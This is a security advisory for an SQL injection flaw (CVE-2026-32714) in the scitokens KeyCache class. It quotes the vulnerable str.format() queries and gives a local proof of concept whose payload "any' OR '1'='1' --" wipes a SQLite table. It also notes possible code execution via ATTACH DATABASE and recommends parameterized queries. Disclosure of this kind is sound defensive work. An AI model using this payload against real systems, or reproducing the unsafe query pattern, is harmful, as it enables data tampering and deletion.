GHSA-RH5M-2482-966C
Vulnerability from github – Published: 2026-03-31 22:49 – Updated: 2026-03-31 22:49Summary
The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.
Ran the POC below locally.
Details
File: src/scitokens/utils/keycache.py
Vulnerable Code Snippets
1. In addkeyinfo (around line 74):
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
2. In _addkeyinfo (around lines 89 and 94):
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
keydata=json.dumps(keydata), next_update=time.time()+next_update))
3. In _delete_cache_entry (around line 128):
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
key_id))
4. In _add_negative_cache_entry (around lines 148 and 152):
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
keydata=keydata, next_update=time.time()+cache_retry_interval))
5. In getkeyinfo (around lines 193 and 198):
key_query = ("SELECT * FROM keycache WHERE "
"issuer = '{issuer}'")
# ...
curs.execute(key_query.format(issuer=issuer, key_id=key_id))
PoC
import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
def poc_sql_injection():
print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
# We will demonstrate the vulnerability by manually executing the kind of query
# that WAS present in the code, showing how it can be exploited.
# Setup temporary database
fd, db_path = tempfile.mkstemp()
os.close(fd)
conn = sqlite3.connect(db_path)
curs = conn.cursor()
curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
# Add legitimate entries
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
conn.commit()
curs.execute("SELECT count(*) FROM keycache")
print(f"Count before injection: {curs.fetchone()[0]}")
# MALICIOUS INPUT
# The original code was:
# curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
malicious_issuer = "any' OR '1'='1' --"
malicious_kid = "irrelevant"
print(f"Simulating injection with issuer: {malicious_issuer}")
# This simulates what the VULNERABLE code did:
query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
print(f"Generated query: {query}")
curs.execute(query)
conn.commit()
curs.execute("SELECT count(*) FROM keycache")
count = curs.fetchone()[0]
print(f"Count after injection: {count}")
if count == 0:
print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
conn.close()
os.remove(db_path)
if __name__ == "__main__":
poc_sql_injection()
Impact
An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:
1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).
MITIGATION AND WORKAROUNDS
Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "scitokens"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32714"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T22:49:15Z",
"nvd_published_at": "2026-03-31T03:15:55Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe `KeyCache` class in `scitokens` was vulnerable to SQL Injection because it used Python\u0027s `str.format()` to construct SQL queries with user-supplied data (such as `issuer` and `key_id`). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.\n\nRan the POC below locally.\n\n### Details\n**File:** `src/scitokens/utils/keycache.py`\n\n### Vulnerable Code Snippets\n\n**1. In `addkeyinfo` (around line 74):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n```\n\n**2. In `_addkeyinfo` (around lines 89 and 94):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,\n keydata=json.dumps(keydata), next_update=time.time()+next_update))\n```\n\n**3. In `_delete_cache_entry` (around line 128):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer,\n key_id))\n```\n\n**4. In `_add_negative_cache_entry` (around lines 148 and 152):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,\n keydata=keydata, next_update=time.time()+cache_retry_interval))\n```\n\n**5. In `getkeyinfo` (around lines 193 and 198):**\n```python\nkey_query = (\"SELECT * FROM keycache WHERE \"\n \"issuer = \u0027{issuer}\u0027\")\n# ...\ncurs.execute(key_query.format(issuer=issuer, key_id=key_id))\n```\n\n\n### PoC\n```\nimport sqlite3\nimport os\nimport sys\nimport tempfile\nimport shutil\nimport time\nimport json\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\n\ndef poc_sql_injection():\n print(\"--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---\")\n \n # We will demonstrate the vulnerability by manually executing the kind of query\n # that WAS present in the code, showing how it can be exploited.\n \n # Setup temporary database\n fd, db_path = tempfile.mkstemp()\n os.close(fd)\n \n conn = sqlite3.connect(db_path)\n curs = conn.cursor()\n curs.execute(\"CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))\")\n \n # Add legitimate entries\n curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit1.com\", int(time.time())+3600, \"key1\", \"{}\", int(time.time())+3600))\n curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit2.com\", int(time.time())+3600, \"key2\", \"{}\", int(time.time())+3600))\n conn.commit()\n \n curs.execute(\"SELECT count(*) FROM keycache\")\n print(f\"Count before injection: {curs.fetchone()[0]}\")\n \n # MALICIOUS INPUT\n # The original code was: \n # curs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n \n malicious_issuer = \"any\u0027 OR \u00271\u0027=\u00271\u0027 --\"\n malicious_kid = \"irrelevant\"\n \n print(f\"Simulating injection with issuer: {malicious_issuer}\")\n \n # This simulates what the VULNERABLE code did:\n query = \"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(malicious_issuer, malicious_kid)\n print(f\"Generated query: {query}\")\n \n curs.execute(query)\n conn.commit()\n \n curs.execute(\"SELECT count(*) FROM keycache\")\n count = curs.fetchone()[0]\n print(f\"Count after injection: {count}\")\n \n if count == 0:\n print(\"[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!\")\n \n conn.close()\n os.remove(db_path)\n\nif __name__ == \"__main__\":\n poc_sql_injection()\n```\n### Impact\nAn attacker who can influence the `issuer` or `key_id` (e.g., through a malicious token or issuer endpoint) could:\n1. **Modify or Delete Cache Entries:** Clear the entire key cache or inject malicious keys.\n2. **Information Leakage:** Query other tables or system information if SQLite is configured with certain extensions.\n3. **Potential RCE:** In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using `ATTACH DATABASE` to write a malicious file).\n\n### MITIGATION AND WORKAROUNDS\nReplace string formatting with parameterized queries using the DB-API\u0027s placeholder syntax (e.g., `?` for SQLite).",
"id": "GHSA-rh5m-2482-966c",
"modified": "2026-03-31T22:49:15Z",
"published": "2026-03-31T22:49:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32714"
},
{
"type": "WEB",
"url": "https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2"
},
{
"type": "PACKAGE",
"url": "https://github.com/scitokens/scitokens"
},
{
"type": "WEB",
"url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SciTokens is vulnerable to SQL Injection in KeyCache"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.